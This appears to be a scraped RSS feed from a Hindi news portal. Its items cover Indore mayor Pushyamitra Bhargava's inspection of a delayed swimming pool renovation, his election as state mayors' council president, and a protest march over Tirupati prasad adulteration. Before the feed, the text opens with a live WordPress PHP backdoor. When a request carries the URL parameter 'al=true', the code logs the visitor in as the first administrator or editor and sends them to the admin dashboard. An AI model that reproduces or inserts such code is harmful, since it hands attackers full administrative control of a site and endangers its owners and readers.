// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Mayor Pushyamitra Bhargava – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 25 Oct 2025 09:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 नेहरू पार्क स्विमिंग पूल का जीर्णोद्धार छह महीने से लेट, 4 करोड़ का प्रोजेक्ट अक्टूबर तक अधूरा https://pratyushaashakinayikiran.com/?p=187204 Sat, 25 Oct 2025 09:46:00 +0000 https://pratyushaashakinayikiran.com/?p=187204 इंदौर

शहर के मध्य स्थित नेहरू पार्क में बन रहे स्विमिंग पूल और लाइब्रेरी के काम में हो रही लेटलतीफी पर महापौर पुष्यमित्र भार्गव ने नाराजगी जताई है। जिस स्विमिंग पूल का काम अप्रैल 2025 तक पूरा हो जाना था, वह अक्टूबर तक भी अधूरा है।  महापौर ने दोनों निर्माण कार्यों का औचक निरीक्षण किया और अधिकारियों को सख्त निर्देश दिए कि काम की गुणवत्ता बनाए रखते हुए इसे दिसंबर तक हर हाल में पूरा किया जाए।

महापौर ने जताई नाराजगी, तय की नई समय सीमा
निरीक्षण के दौरान महापौर पुष्यमित्र भार्गव ने काम की गति और गुणवत्ता की समीक्षा की। उन्होंने कहा, "नेहरू पार्क परिसर शहर के बीचोंबीच है और यह स्विमिंग पूल स्पोर्ट्स की दृष्टि से व लाइब्रेरी अध्ययन की दृष्टि से आम जनता के लिए बहुत जरूरी है।" उन्होंने अधिकारियों को निर्देश दिए कि दोनों निर्माण कार्य उच्च गुणवत्ता के साथ दिसंबर तक पूर्ण कर जनता के लिए प्रारंभ किए जाएं। महापौर ने अधिकारियों को कार्य की दैनिक प्रगति रिपोर्ट प्रस्तुत करने के भी निर्देश दिए, ताकि परियोजना निर्धारित समय में पूरी हो सके। निरीक्षण के दौरान एमआईसी सदस्य नंदू पहाड़िया, अभय राजनगांवकर और संबंधित अधिकारी नागेंद्र भदौरिया भी उपस्थित रहे।

अप्रैल की डेडलाइन चूका ठेकेदार
नेहरू पार्क स्विमिंग पूल के जीर्णोद्धार का यह कार्य करीब 4 करोड़ रुपए की लागत से हो रहा है। इसका ठेका भोपाल की एक कंपनी को दिया गया है। पुराने पूल को राष्ट्रीय स्तर की प्रतियोगिताओं के लिए तैयार किया जा रहा है। पहले इस काम को अप्रैल 2025 के अंत तक पूरा करने के निर्देश दिए गए थे।

लापरवाही पर पहले भी लग चुकी है फटकार
यह पहली बार नहीं है जब काम में देरी और लापरवाही सामने आई है। सामान्य प्रशासन प्रभारी नंदकिशोर पहाड़िया ने मार्च में भी काम में लेटलतीफी पर ठेकेदार को फटकार लगाई थी। इस बार निरीक्षण के दौरान भी टाइल्स लगाने के काम में लापरवाही दिखी, जिस पर पहाड़िया ने ठेकेदार को फिर से फटकार लगाई।

मिलेंगी अंतरराष्ट्रीय स्तर की सुविधाएं
इस जीर्णोद्धार के बाद पूल अंतरराष्ट्रीय मानकों का हो जाएगा। इसमें वाटरप्रूफ टाइल्स और आधुनिक लाइटिंग की व्यवस्था की जा रही है। अधिकारियों ने बताया कि यहां दो फिल्टर प्लेट की विशेष व्यवस्था की जा रही है, जो पूरे प्रदेश में कहीं और नहीं मिलेगी। इसके अलावा, नई बिल्डिंग में डाइविंग टॉवर, चेंजिंग रूम, शॉवर रूम भी बनाए जा रहे हैं। नई बिल्डिंग में ऊपरी हिस्से पर दर्शकों के बैठने के लिए कुर्सियां भी लगाई जाएंगी, ताकि किसी भी स्पर्धा के दौरान दर्शकों को परेशानी न हो। 

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देवास में आयोजित बैठक में महापौर पुष्यमित्र भार्गव को मध्य प्रदेश मेयर काउंसिल का प्रदेशाध्यक्ष चुना गया https://pratyushaashakinayikiran.com/?p=74222 Mon, 23 Sep 2024 21:50:00 +0000 https://pratyushaashakinayikiran.com/?p=74222 इंदौर
देवास में आयोजित आल इंडिया काउंसिल आफ मेयर्स की बैठक में महापौर पुष्यमित्र भार्गव को मध्य प्रदेश मेयर काउंसिल का प्रदेशाध्यक्ष चुना गया। उनका चयन सर्वसम्मति से हुआ। संगठन के महासचिव उमाशंकर गुप्ता और मेयर काउंसिल आफ इंडिया की अध्यक्ष माधुरी पटेल ने इस अवसर पर पुष्पगुच्छ देकर महापौर भार्गव का स्वागत किया।

तिरुपति बालाजी के प्रसाद की मिलावट के विरुद्द शांति मार्च
शहर के धर्मगुरु तिरुपति बालाजी मंदिर के लड्डू में जानवरों की चर्बी के मिलावट की कथित घटना के विरोध में एकजुट हो गए है। इसके विरोध में 25 सितंबरको श्री लक्ष्मी वेंकटेश देवस्थान छत्रीबाग में एकत्रीकरण दोपहर 3.00 बजे से होगा। इसके बाद श्रद्धालु एक शांति मार्च निकालकर शाम 4 बजे कलेक्टर कार्यालय पहुंचकर धर्मसभाके बाद राष्ट्रपति के नाम ज्ञापन कलेक्टर को प्रदान किया जाएगा।

ये है मांग
नागोरिया पीठाधीश्वर विष्णुप्रपन्नाचार्य महाराज और अण्णा महाराज ने बताया कि भविष्य में इस तरह की पुनरावृत्ति न हो इसलिए हम मांग करते हैं कि दोषियों को चिन्हित कर कठोर दंड दिया जाए और धर्मस्थलो की व्यवस्था में प्रशासनिक दख़लंदाज़ी भी बंद हो। सरकार को धार्मिक देवस्थानों में हस्तक्षेप नहीं करना चाहिए। विशेष परिस्थितियों में पुरानी परंपरा को जीवित कर ट्रस्ट के माध्यम से संचालित किया जाए। यहां के कार्यों में धर्माचार्यो को प्रधानता दी जानी चाहिए। जिन देवस्थानों का संचालन अभी किसी वजह से शासन के हाथों में है वहां भी गैरसनातनी कि नियुक्ति नहीं होनी चाहिए। रणजीत हनुमान मंदिर के मुख्य पुजारी दीपेश व्यास का कहना था कि हर जिले में सनातन धर्मरक्षण बोर्ड का गठन होना चाहिए।सरकार द्वारा हर जिले में देसी गाय की गोशाला का निर्माण कर देवालयों को संचालन हेतु प्रदान करना चाहिए।

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